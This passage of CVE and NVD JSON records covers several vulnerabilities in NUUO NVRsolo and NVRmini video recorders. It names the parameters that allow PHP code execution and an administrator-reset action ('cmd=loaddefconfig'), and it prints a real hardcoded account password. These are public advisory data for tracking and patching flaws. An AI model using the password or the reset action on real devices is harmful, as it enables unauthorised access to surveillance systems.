"lastModified": "2024-11-21T02:54:48.553",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"obtainAllPrivilege": true,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2016-08-31T15:59:04.747",
"references": [
{
"source": "cret@cert.org",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"source": "cret@cert.org",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"source": "cret@cert.org",
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"sourceIdentifier": "cret@cert.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-798"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | https://drive.google.com/drive/folders/18YCKzFnS5CZRmzgcwc8g7jvLpmqgy68B?usp=sharing | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://drive.google.com/drive/folders/18YCKzFnS5CZRmzgcwc8g7jvLpmqgy68B?usp=sharing | Exploit, Third Party Advisory |
| Vendor | Product | Version | |
|---|---|---|---|
| nuuo | nvrsolo_firmware | 3.9.1 | |
| nuuo | nvrsolo | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo_firmware:3.9.1:*:*:*:*:*:*:*",
"matchCriteriaId": "CB0489A1-9846-4603-8B57-E92B21231C05",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:nuuo:nvrsolo:-:*:*:*:*:*:*:*",
"matchCriteriaId": "4E65B459-F53C-4687-9C6A-8D10399F4FC5",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "NUUO Network Video Recorder NVRsolo 3.9.1 is affected by a Cross Site Scripting (XSS) vulnerability. An attacker can steal the user\u0027s session by injecting malicious JavaScript codes which leads to session hijacking."
},
{
"lang": "es",
"value": "NUUO Network Video Recorder NVRsolo versi\u00f3n 3.9.1, est\u00e1 afectado por una vulnerabilidad de tipo Cross Site Scripting (XSS). Un atacante puede robar la sesi\u00f3n del usuario mediante la inyecci\u00f3n de c\u00f3digos JavaScript maliciosos que conlleva a un secuestro de la sesi\u00f3n"
}
],
"id": "CVE-2021-45812",
"lastModified": "2024-11-21T06:33:05.270",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2021-12-28T15:15:07.343",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://drive.google.com/drive/folders/18YCKzFnS5CZRmzgcwc8g7jvLpmqgy68B?usp=sharing"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://drive.google.com/drive/folders/18YCKzFnS5CZRmzgcwc8g7jvLpmqgy68B?usp=sharing"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
cve-2021-45812
Vulnerability from cvelistv5
| ▼ | URL | Tags |
|---|---|---|
| https://drive.google.com/drive/folders/18YCKzFnS5CZRmzgcwc8g7jvLpmqgy68B?usp=sharing | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-04T04:54:31.069Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://drive.google.com/drive/folders/18YCKzFnS5CZRmzgcwc8g7jvLpmqgy68B?usp=sharing"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "NUUO Network Video Recorder NVRsolo 3.9.1 is affected by a Cross Site Scripting (XSS) vulnerability. An attacker can steal the user\u0027s session by injecting malicious JavaScript codes which leads to session hijacking."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2021-12-28T14:26:44",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://drive.google.com/drive/folders/18YCKzFnS5CZRmzgcwc8g7jvLpmqgy68B?usp=sharing"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2021-45812",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "NUUO Network Video Recorder NVRsolo 3.9.1 is affected by a Cross Site Scripting (XSS) vulnerability. An attacker can steal the user\u0027s session by injecting malicious JavaScript codes which leads to session hijacking."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://drive.google.com/drive/folders/18YCKzFnS5CZRmzgcwc8g7jvLpmqgy68B?usp=sharing",
"refsource": "MISC",
"url": "https://drive.google.com/drive/folders/18YCKzFnS5CZRmzgcwc8g7jvLpmqgy68B?usp=sharing"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2021-45812",
"datePublished": "2021-12-28T14:26:44",
"dateReserved": "2021-12-27T00:00:00",
"dateUpdated": "2024-08-04T04:54:31.069Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2016-5675
Vulnerability from cvelistv5
| ▼ | URL | Tags |
|---|---|---|
| http://www.kb.cert.org/vuls/id/856152 | third-party-advisory, x_refsource_CERT-VN | |
| http://www.securityfocus.com/bid/92318 | vdb-entry, x_refsource_BID | |
| https://www.exploit-db.com/exploits/40200/ | exploit, x_refsource_EXPLOIT-DB |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T01:07:59.881Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "VU#856152",
"tags": [
"third-party-advisory",
"x_refsource_CERT-VN",
"x_transferred"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB",
"x_transferred"
],
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-08-01T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "handle_daylightsaving.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, NUUO Crystal 2.2.1 through 3.2.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the NTPServer parameter."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2017-09-02T09:57:01",
"orgId": "37e5125f-f79b-445b-8fad-9564f167944b",
"shortName": "certcc"
},
"references": [
{
"name": "VU#856152",
"tags": [
"third-party-advisory",
"x_refsource_CERT-VN"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB"
],
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cert@cert.org",
"ID": "CVE-2016-5675",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "handle_daylightsaving.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, NUUO Crystal 2.2.1 through 3.2.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the NTPServer parameter."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "VU#856152",
"refsource": "CERT-VN",
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"refsource": "EXPLOIT-DB",
"url": "https://www.exploit-db.com/exploits/40200/"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "37e5125f-f79b-445b-8fad-9564f167944b",
"assignerShortName": "certcc",
"cveId": "CVE-2016-5675",
"datePublished": "2016-08-31T15:00:00",
"dateReserved": "2016-06-16T00:00:00",
"dateUpdated": "2024-08-06T01:07:59.881Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2016-5674
Vulnerability from cvelistv5
| ▼ | URL | Tags |
|---|---|---|
| http://www.kb.cert.org/vuls/id/856152 | third-party-advisory, x_refsource_CERT-VN | |
| http://www.securityfocus.com/bid/92318 | vdb-entry, x_refsource_BID | |
| https://www.exploit-db.com/exploits/40200/ | exploit, x_refsource_EXPLOIT-DB |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T01:07:59.905Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "VU#856152",
"tags": [
"third-party-advisory",
"x_refsource_CERT-VN",
"x_transferred"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB",
"x_transferred"
],
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-08-01T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "__debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2017-09-02T09:57:01",
"orgId": "37e5125f-f79b-445b-8fad-9564f167944b",
"shortName": "certcc"
},
"references": [
{
"name": "VU#856152",
"tags": [
"third-party-advisory",
"x_refsource_CERT-VN"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB"
],
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cert@cert.org",
"ID": "CVE-2016-5674",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "__debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "VU#856152",
"refsource": "CERT-VN",
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"refsource": "EXPLOIT-DB",
"url": "https://www.exploit-db.com/exploits/40200/"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "37e5125f-f79b-445b-8fad-9564f167944b",
"assignerShortName": "certcc",
"cveId": "CVE-2016-5674",
"datePublished": "2016-08-31T15:00:00",
"dateReserved": "2016-06-16T00:00:00",
"dateUpdated": "2024-08-06T01:07:59.905Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2016-5678
Vulnerability from cvelistv5
| ▼ | URL | Tags |
|---|---|---|
| http://www.kb.cert.org/vuls/id/856152 | third-party-advisory, x_refsource_CERT-VN | |
| http://www.securityfocus.com/bid/92318 | vdb-entry, x_refsource_BID | |
| https://www.exploit-db.com/exploits/40200/ | exploit, x_refsource_EXPLOIT-DB |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T01:08:00.435Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "VU#856152",
"tags": [
"third-party-advisory",
"x_refsource_CERT-VN",
"x_transferred"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB",
"x_transferred"
],
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-08-01T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "NUUO NVRmini 2 1.0.0 through 3.0.0 and NUUO NVRsolo 1.0.0 through 3.0.0 have hardcoded root credentials, which allows remote attackers to obtain administrative access via unspecified vectors."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2017-09-02T09:57:01",
"orgId": "37e5125f-f79b-445b-8fad-9564f167944b",
"shortName": "certcc"
},
"references": [
{
"name": "VU#856152",
"tags": [
"third-party-advisory",
"x_refsource_CERT-VN"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB"
],
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cert@cert.org",
"ID": "CVE-2016-5678",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "NUUO NVRmini 2 1.0.0 through 3.0.0 and NUUO NVRsolo 1.0.0 through 3.0.0 have hardcoded root credentials, which allows remote attackers to obtain administrative access via unspecified vectors."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "VU#856152",
"refsource": "CERT-VN",
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"refsource": "EXPLOIT-DB",
"url": "https://www.exploit-db.com/exploits/40200/"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "37e5125f-f79b-445b-8fad-9564f167944b",
"assignerShortName": "certcc",
"cveId": "CVE-2016-5678",
"datePublished": "2016-08-31T15:00:00",
"dateReserved": "2016-06-16T00:00:00",
"dateUpdated": "2024-08-06T01:08:00.435Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2022-33119
Vulnerability from cvelistv5
| ▼ | URL | Tags |
|---|---|---|
| https://github.com/badboycxcc/nuuo-xss/blob/main/README.md | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T08:01:20.016Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/badboycxcc/nuuo-xss/blob/main/README.md"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "NUUO Network Video Recorder NVRsolo v03.06.02 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via login.php."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-06-21T13:00:39",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/badboycxcc/nuuo-xss/blob/main/README.md"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2022-33119",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "NUUO Network Video Recorder NVRsolo v03.06.02 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via login.php."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/badboycxcc/nuuo-xss/blob/main/README.md",
"refsource": "MISC",
"url": "https://github.com/badboycxcc/nuuo-xss/blob/main/README.md"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2022-33119",
"datePublished": "2022-06-21T13:00:39",
"dateReserved": "2022-06-13T00:00:00",
"dateUpdated": "2024-08-03T08:01:20.016Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2016-5677
Vulnerability from cvelistv5
| ▼ | URL | Tags |
|---|---|---|
| http://www.kb.cert.org/vuls/id/856152 | third-party-advisory, x_refsource_CERT-VN | |
| http://www.securityfocus.com/bid/92318 | vdb-entry, x_refsource_BID | |
| https://www.exploit-db.com/exploits/40200/ | exploit, x_refsource_EXPLOIT-DB |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T01:07:59.947Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "VU#856152",
"tags": [
"third-party-advisory",
"x_refsource_CERT-VN",
"x_transferred"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB",
"x_transferred"
],
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-08-01T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 have a hardcoded qwe23622260 password for the nuuoeng account, which allows remote attackers to obtain sensitive information via an __nvr_status___.php request."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2017-09-02T09:57:01",
"orgId": "37e5125f-f79b-445b-8fad-9564f167944b",
"shortName": "certcc"
},
"references": [
{
"name": "VU#856152",
"tags": [
"third-party-advisory",
"x_refsource_CERT-VN"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB"
],
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cert@cert.org",
"ID": "CVE-2016-5677",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 have a hardcoded qwe23622260 password for the nuuoeng account, which allows remote attackers to obtain sensitive information via an __nvr_status___.php request."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "VU#856152",
"refsource": "CERT-VN",
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"refsource": "EXPLOIT-DB",
"url": "https://www.exploit-db.com/exploits/40200/"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "37e5125f-f79b-445b-8fad-9564f167944b",
"assignerShortName": "certcc",
"cveId": "CVE-2016-5677",
"datePublished": "2016-08-31T15:00:00",
"dateReserved": "2016-06-16T00:00:00",
"dateUpdated": "2024-08-06T01:07:59.947Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2016-5676
Vulnerability from cvelistv5
| ▼ | URL | Tags |
|---|---|---|
| http://www.kb.cert.org/vuls/id/856152 | third-party-advisory, x_refsource_CERT-VN | |
| http://www.securityfocus.com/bid/92318 | vdb-entry, x_refsource_BID | |
| https://www.exploit-db.com/exploits/40200/ | exploit, x_refsource_EXPLOIT-DB |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T01:07:59.977Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "VU#856152",
"tags": [
"third-party-advisory",
"x_refsource_CERT-VN",
"x_transferred"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB",
"x_transferred"
],
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-08-01T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "cgi-bin/cgi_system in NUUO NVRmini 2 1.7.5 through 2.x, NUUO NVRsolo 1.7.5 through 2.x, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to reset the administrator password via a cmd=loaddefconfig action."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2017-09-02T09:57:01",
"orgId": "37e5125f-f79b-445b-8fad-9564f167944b",
"shortName": "certcc"
},
"references": [
{
"name": "VU#856152",
"tags": [
"third-party-advisory",
"x_refsource_CERT-VN"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"name": "92318",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB"
],
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cert@cert.org",
"ID": "CVE-2016-5676",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "cgi-bin/cgi_system in NUUO NVRmini 2 1.7.5 through 2.x, NUUO NVRsolo 1.7.5 through 2.x, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to reset the administrator password via a cmd=loaddefconfig action."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "VU#856152",
"refsource": "CERT-VN",
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
